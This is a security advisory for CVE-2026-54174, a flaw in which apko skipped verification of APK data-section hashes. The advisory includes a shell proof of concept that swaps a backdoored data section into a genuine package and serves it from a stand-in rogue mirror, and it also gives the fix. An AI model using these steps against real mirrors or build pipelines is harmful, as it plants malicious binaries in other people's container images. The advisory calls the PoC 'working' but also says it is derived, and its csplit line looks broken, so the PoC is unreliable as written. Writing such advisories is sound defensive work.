CVE-2026-54174: apko Incomplete APK Data Section Integrity Verification
Apko verified the signed package index and the control metadata hash, but never checked the data section hash, so an attacker who could tamper with a mirror or intercept a package fetch could silently
The problem
An APK package consists of two concatenated gzip streams: a signed control section (.PKGINFO and friends) and a data section (the real files that land on disk). Apko checked the APKINDEX signature and, after v1.2.7, the control section hash, but it never verified the data section hash stored in the same signed index.
Any attacker who could substitute download responses, such as a compromised mirror, an HTTP (non-TLS) repository, or a poisoned CDN cache, could swap in an arbitrary data section while leaving the control section intact. The control hash check would pass and the tampered files would be silently installed into the built container image.
Proof of concept
A working proof-of-concept for CVE-2026-54174 in chainguard.dev/apko, with the exact payload below.
# Attacker-controlled mirror: serve a legitimate .PKGINFO control section
# (original control hash passes) paired with a backdoored data section.
#
# An APK is two concatenated gzip streams:
# stream 1: control.tar.gz (.PKGINFO, .pre-install, etc.) <-- hash checked
# stream 2: data.tar.gz (actual installed files) <-- hash NOT checked
#
# Steps to craft a malicious .apk:
# 1. Fetch a legitimate package from the real mirror
curl -O https://real-mirror.example.com/x86_64/libfoo-1.0.0-r0.apk
# 2. Split the two gzip streams (stream boundary: second gzip magic byte sequence)
csplit --quiet --prefix=part libfoo-1.0.0-r0.apk \
$'$(python3 -c "import sys; d=open(\'libfoo-1.0.0-r0.apk\',\'rb\').read(); print(d.index(b\'\\x1f\\x8b\',1))")' # offset of 2nd stream
# part00 = control.tar.gz (valid; control hash matches APKINDEX)
# part01 = data.tar.gz (to be replaced)
# 3. Build a backdoored data section
mkdir -p fake-root/usr/bin
cp /path/to/malicious-binary fake-root/usr/bin/libfoo-tool
tar -czf evil-data.tar.gz -C fake-root .
# 4. Concatenate: keep real control section, swap in evil data section
cat part00 evil-data.tar.gz > libfoo-1.0.0-r0.apk
# 5. Serve the crafted package from a rogue mirror.
# apko fetches it, verifies control hash (passes), skips data hash (bug),
# and installs the backdoored binary into the container image.
apko build config.yaml output.tar \
--repository-append http://evil-mirror.local/x86_64An APK file is two concatenated gzip archives. The APKINDEX entry for each package records both the control-section hash (verified since v1.2.7) and the data-section hash (never verified before v1.2.9). Because getPackageImpl() only compared the control hash and silently discarded the data hash value, an attacker could substitute the entire installed file tree while the integrity check still passed.
The fix in v1.2.9 adds an explicit comparison of the computed data-section hash against the value from the signed APKINDEX, returning an error on mismatch. Root causes are CWE-345 (Insufficient Verification of Data Authenticity) and CWE-354 (Improper Validation of Integrity Check Value).
Public PoC not yet available; derived from advisory and patch diff analysis.
The fix
Upgrade chainguard.dev/apko to v1.2.9 or later. The patch adds data-section hash verification inside getPackageImpl(), so any tampered payload is now rejected with an error before installation. Additionally, use only HTTPS repository URLs to eliminate MITM opportunities, and pin repository mirrors where possible.
Related research
- high · 7.5CVE-2026-44937CVE-2026-44937: Rancher Fleet Unauthenticated Webhook Regex Injection via Unsanitized Repository URL
- highCVE-2026-52812CVE-2026-52812: Gogs LFS Cross-Tenant Object Disclosure via Dedupe Shortcut
- critical · 9TSDProxy: Internal Auth Token Leaked to Backend Services Enables Management API Takeover
- critical · 9.9CVE-2026-50551CVE-2026-50551: SiYuan Stored XSS to RCE via Attribute View Asset Cell